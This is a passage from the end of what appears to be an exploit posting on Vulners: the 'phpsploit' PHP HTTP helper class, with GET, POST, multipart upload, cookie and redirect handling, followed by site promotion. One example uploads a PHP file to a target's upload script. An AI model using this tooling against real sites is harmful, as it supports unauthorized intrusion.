	&#160;*&#160;@param&#160;string&#160;$useragent
	&#160;*/
	public&#160;function&#160;agent($useragent)
	{
		$this->agent=$useragent;
	}

	
	/**
	&#160;*&#160;This&#160;function&#160;returns&#160;the&#160;header&#160;which&#160;will&#160;be
	&#160;*&#160;in&#160;the&#160;next&#160;request.
	&#160;*&#160;
	&#160;*&#160;$this->showheader();
	&#160;*
	&#160;*&#160;@return&#160;$header
	&#160;*/
	public&#160;function&#160;showheader()
	{
		return&#160;$this->header;
	}

	
	/**
	&#160;*&#160;This&#160;function&#160;returns&#160;the&#160;cookie&#160;which&#160;will&#160;be
	&#160;*&#160;in&#160;the&#160;next&#160;request.
	&#160;*&#160;
	&#160;*&#160;$this->showcookie();
	&#160;*
	&#160;*&#160;@return&#160;$storedcookies
	&#160;*/
	public&#160;function&#160;showcookie()
	{
		return&#160;$this->cookie;
	}

	
	/**
	&#160;*&#160;This&#160;function&#160;returns&#160;the&#160;last&#160;formed
	&#160;*&#160;http&#160;request&#160;(the&#160;http&#160;packet).
	&#160;*&#160;
	&#160;*&#160;$this->showlastrequest();
	&#160;*&#160;
	&#160;*&#160;@return&#160;$last_http_request
	&#160;*/
	public&#160;function&#160;showlastrequest()
	{
		return&#160;$this->packet;
	}
	
	
	/**
	&#160;*&#160;This&#160;function&#160;sends&#160;the&#160;formed&#160;http&#160;packet&#160;with&#160;the
	&#160;*&#160;GET&#160;method.&#160;You&#160;can&#160;precise&#160;the&#160;port&#160;of&#160;the&#160;host.
	&#160;*&#160;
	&#160;*&#160;$this->get(\"http://localhost\");
	&#160;*&#160;$this->get(\"http://localhost:888/xd/tst.php\");
	&#160;*&#160;
	&#160;*&#160;@param&#160;string&#160;$urlwithpath
	&#160;*&#160;@return&#160;$server_response
	&#160;*/
	public&#160;function&#160;get($url)
	{
		$this->target($url);
		$this->method=\"get\";
		return&#160;$this->sock();
	}

	
	/**
	&#160;*&#160;This&#160;function&#160;sends&#160;the&#160;formed&#160;http&#160;packet&#160;with&#160;the
	&#160;*&#160;POST&#160;method.&#160;You&#160;can&#160;precise&#160;the&#160;port&#160;of&#160;the&#160;host.
	&#160;*&#160;
	&#160;*&#160;$this->post(\"http://localhost/index.php\",\"admin=1&user=dark\");
	&#160;*
	&#160;*&#160;@param&#160;string&#160;$urlwithpath
	&#160;*&#160;@param&#160;string&#160;$postdata
	&#160;*&#160;@return&#160;$server_response
	&#160;*/	
	public&#160;function&#160;post($url,$data)
	{
		$this->target($url);
		$this->method=\"post\";
		$this->data=$data;
		return&#160;$this->sock();
	}
	

	/**
	&#160;*&#160;This&#160;function&#160;sends&#160;the&#160;formed&#160;http&#160;packet&#160;with&#160;the
	&#160;*&#160;POST&#160;method&#160;using&#160;the&#160;multipart/form-data&#160;enctype.&#160;
	&#160;*&#160;
	&#160;*&#160;$array&#160;=&#160;array(
	&#160;*&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;frmdt_url&#160;&#160;&#160;&#160;&#160;&#160;=>&#160;\"http://localhost/upload.php\",
	&#160;*&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;frmdt_boundary&#160;=>&#160;\"123456\",&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;#&#160;Optional
	&#160;*&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;\"email\"&#160;=>&#160;\"[email protected]\",
	&#160;*&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;\"varname\"&#160;=>&#160;array(
	&#160;*&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;frmdt_type&#160;=>&#160;\"image/gif\",&#160;&#160;&#160;#&#160;Optional
	&#160;*&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;frmdt_transfert&#160;=>&#160;\"binary\",&#160;&#160;&#160;&#160;&#160;&#160;#&#160;Optional
	&#160;*&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;frmdt_filename&#160;=>&#160;\"hello.php\",
	&#160;*&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;frmdt_content&#160;=>&#160;\"<?php&#160;echo&#160;\':)\';&#160;?>\"));
	&#160;*&#160;$this->formdata($array);
	&#160;*
	&#160;*&#160;@param&#160;array&#160;$array
	&#160;*&#160;@return&#160;$server_response
	&#160;*/
	public&#160;function&#160;formdata($array)
	{
		$this->target($array[frmdt_url]);
		$this->method=\"formdata\";
		$this->data=\'\';
		if(!isset($array[frmdt_boundary]))&#160;$this->boundary=\"phpsploit\";
		else&#160;$this->boundary=$array[frmdt_boundary];
		foreach($array&#160;as&#160;$key&#160;=>&#160;$value)
		{
			if(!preg_match(\"#^frmdt_(boundary|url)#\",$key))
			{
				$this->data&#160;.=&#160;\"-----------------------------\".$this->boundary.\"\\r\\n\";
				$this->data&#160;.=&#160;\"Content-Disposition:&#160;form-data;&#160;name=\\\"\".$key.\"\\\";\";
				if(!is_array($value))
				{
					$this->data&#160;.=&#160;\"\\r\\n\\r\\n\".$value.\"\\r\\n\";
				}
				else
				{
					$this->data&#160;.=&#160;\"&#160;filename=\\\"\".$array[$key][frmdt_filename].\"\\\";\\r\\n\";
					if(isset($array[$key][frmdt_type]))&#160;$this->data&#160;.=&#160;\"Content-Type:&#160;\".$array[$key][frmdt_type].\"\\r\\n\";
					if(isset($array[$key][frmdt_transfert]))&#160;$this->data&#160;.=&#160;\"Content-Transfer-Encoding:&#160;\".$array[$key][frmdt_transfert].\"\\r\\n\";
					$this->data&#160;.=&#160;\"\\r\\n\".$array[$key][frmdt_content].\"\\r\\n\";
				}
			}
		}
		$this->data&#160;.=&#160;\"-----------------------------\".$this->boundary.\"--\\r\\n\";
		return&#160;$this->sock();
	}

	
	/**
	&#160;*&#160;This&#160;function&#160;returns&#160;the&#160;content&#160;of&#160;the&#160;server&#160;response
	&#160;*&#160;without&#160;the&#160;headers.
	&#160;*&#160;
	&#160;*&#160;$this->getcontent($this->get(\"http://localhost/\"));
	&#160;*&#160;or
	&#160;*&#160;$this->getcontent();
	&#160;*
	&#160;*&#160;@param&#160;string&#160;$server_response
	&#160;*&#160;@return&#160;$onlythecontent
	&#160;*/
	public&#160;function&#160;getcontent($code=\'\')
	{
		if(empty($code))&#160;$code&#160;=&#160;$this->recv;
		$content&#160;=&#160;explode(\"\\n\",$code);
		$onlycode&#160;=&#160;\'\';
		for($i=1;$i<count($content);$i++)
		{
			if(!preg_match(\"/^(\\S*):/\",$content[$i]))&#160;$ok&#160;=&#160;1;
			if($ok)&#160;$onlycode&#160;.=&#160;$content[$i].\"\\n\";
		}
		return&#160;$onlycode;
	}

	
	/**
	&#160;*&#160;This&#160;function&#160;returns&#160;the&#160;headers&#160;of&#160;the&#160;server&#160;response
	&#160;*&#160;without&#160;the&#160;content.
	&#160;*&#160;
	&#160;*&#160;$this->getheader($this->post(\"http://localhost/x.php\",\"x=1&z=2\"));
	&#160;*&#160;or
	&#160;*&#160;$this->getheader();
	&#160;*
	&#160;*&#160;@param&#160;string&#160;$server_response
	&#160;*&#160;@return&#160;$onlytheheaders
	&#160;*/
	public&#160;function&#160;getheader($code=\'\')
	{
		if(empty($code))&#160;$code&#160;=&#160;$this->recv;
		$header&#160;=&#160;explode(\"\\n\",$code);
		$onlyheader&#160;=&#160;$header[0].\"\\n\";
		for($i=1;$i<count($header);$i++)
		{
			if(!preg_match(\"/^(\\S*):/\",$header[$i]))&#160;break;
			$onlyheader&#160;.=&#160;$header[$i].\"\\n\";
		}
		return&#160;$onlyheader;
	}

	
	/**
	&#160;*&#160;This&#160;function&#160;is&#160;called&#160;by&#160;the&#160;cookiejar()&#160;function.
	&#160;*&#160;It&#160;adds&#160;the&#160;value&#160;of&#160;the&#160;\"Set-Cookie\"&#160;header&#160;in&#160;the&#160;\"Cookie\"
	&#160;*&#160;header&#160;for&#160;the&#160;next&#160;request.&#160;You&#160;don\'t&#160;have&#160;to&#160;call&#160;it.
	&#160;*&#160;
	&#160;*&#160;@param&#160;string&#160;$server_response
	&#160;*/
	private&#160;function&#160;getcookie($code)
	{
		$carr&#160;=&#160;explode(\"\\n\",str_replace(\"\\r\\n\",\"\\n\",$code));
		for($z=0;$z<count($carr);$z++)
		{
			if(preg_match(\"/set-cookie:&#160;(.*)/i\",$carr[$z],$cookarr))
			{
				$cookie[]&#160;=&#160;preg_replace(\"/expires=(.*)(GMT||UTC)(\\S*)$/i\",\"\",preg_replace(\"/path=(.*)/i\",\"\",$cookarr[1]));
			}
		}

		for($i=0;$i<count($cookie);$i++)
		{
			preg_match(\"/(\\S*)=(\\S*)(|;)/\",$cookie[$i],$matches);
	&#160;&#160;&#160;&#160;	&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$cookn&#160;=&#160;$matches[1];
	&#160;&#160;&#160;&#160;	&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$cookv&#160;=&#160;$matches[2];
	&#160;&#160;&#160;&#160;	&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$this->addcookie($cookn,$cookv);
		}
&#160;&#160;&#160;&#160;}

	
	/**
	&#160;*&#160;This&#160;function&#160;is&#160;called&#160;by&#160;the&#160;get()/post()&#160;functions.
	&#160;*&#160;You&#160;don\'t&#160;have&#160;to&#160;call&#160;it.
	&#160;*
	&#160;*&#160;@param&#160;string&#160;$urltarg
	&#160;*/
	private&#160;function&#160;target($urltarg)
	{
		if(!preg_match(\"/^http:\\/\\/(.*)\\//\",$urltarg))&#160;$urltarg&#160;.=&#160;\"/\";
		$this->url=$urltarg;
		
		$array&#160;=&#160;explode(\"/\",str_replace(\"http://\",\"\",preg_replace(\"/:(\\d+)/\",\"\",$urltarg)));
		$this->host=$array[0];

		preg_match(\"/:(\\d+)\\//\",$urltarg,$matches);
		$this->port=empty($matches[1])&#160;?&#160;80&#160;:&#160;$matches[1];
		
		$temp&#160;=&#160;str_replace(\"http://\",\"\",preg_replace(\"/:(\\d+)/\",\"\",$urltarg));
		preg_match(\"/\\/(.*)\\//\",$temp,$matches);
		$this->path=str_replace(\"//\",\"/\",\"/\".$matches[1].\"/\");
	
		if($this->port&#160;>&#160;65535)&#160;die(\"Error:&#160;Invalid&#160;port&#160;number\");
	}
	
	
	/**
	&#160;*&#160;If&#160;you&#160;call&#160;this&#160;function,&#160;the&#160;script&#160;will
	&#160;*&#160;extract&#160;all&#160;\"Set-Cookie\"&#160;headers&#160;values
	&#160;*&#160;and&#160;it&#160;will&#160;automatically&#160;add&#160;them&#160;into&#160;the&#160;\"Cookie\"&#160;header
	&#160;*&#160;for&#160;all&#160;next&#160;requests.
	&#160;*
	&#160;*&#160;$this->cookiejar(1);&#160;//&#160;enabled
	&#160;*&#160;$this->cookiejar(0);&#160;//&#160;disabled
	&#160;*&#160;
	&#160;*/
	public&#160;function&#160;cookiejar($code)
	{
		if($code===0)&#160;$this->cookiejar=\'\';
		if($code===1)&#160;$this->cookiejar=1;
		else
		{
			$this->getcookie($code);
		}
	}


	/**
	&#160;*&#160;If&#160;you&#160;call&#160;this&#160;function,&#160;the&#160;script&#160;will
	&#160;*&#160;follow&#160;all&#160;redirections&#160;sent&#160;by&#160;the&#160;server.
	&#160;*&#160;
	&#160;*&#160;$this->allowredirection(1);&#160;//&#160;enabled
	&#160;*&#160;$this->allowredirection(0);&#160;//&#160;disabled
	&#160;*&#160;
	&#160;*&#160;@return&#160;$this->get($locationresponse)
	&#160;*/
	public&#160;function&#160;allowredirection($code)
	{
		if($code===0)&#160;$this->allowredirection=\'\';
		if($code===1)&#160;$this->allowredirection=1;
		else
		{
			if(preg_match(\"/(location|content-location|uri):&#160;(.*)/i\",$code,$codearr))
			{
				$location&#160;=&#160;str_replace(chr(13),\'\',$codearr[2]);
				if(!eregi(\"://\",$location))
				{
					return&#160;$this->get(\"http://\".$this->host.$this->path.$location);
				}
				else
				{
					return&#160;$this->get($location);
				}
			}
			else
			{
				return&#160;$code;
			}
		}
	}
	
	
	/**
	&#160;*&#160;This&#160;function&#160;allows&#160;you&#160;to&#160;reset&#160;some&#160;parameters:
	&#160;*&#160;
	&#160;*&#160;$this->reset(header);&#160;//&#160;headers&#160;cleaned
	&#160;*&#160;$this->reset(cookie);&#160;//&#160;cookies&#160;cleaned
	&#160;*&#160;$this->reset();&#160;&#160;&#160;&#160;&#160;&#160;&#160;//&#160;clean&#160;all&#160;parameters
	&#160;*
	&#160;*&#160;@param&#160;string&#160;$func
	&#160;*/
	public&#160;function&#160;reset($func=\'\')
	{
		switch($func)
		{
			case&#160;\"header\":
			$this->header=\'\';
			break;
			
			case&#160;\"cookie\":
			$this->cookie=\'\';
			break;
			
			default:
		&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$this->cookiejar=\'\';
		&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$this->header=\'\';
		&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$this->cookie=\'\';
		&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$this->allowredirection=\'\';&#160;
		&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$this->agent=\'\';
		&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;break;
		}
	}
}

?>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation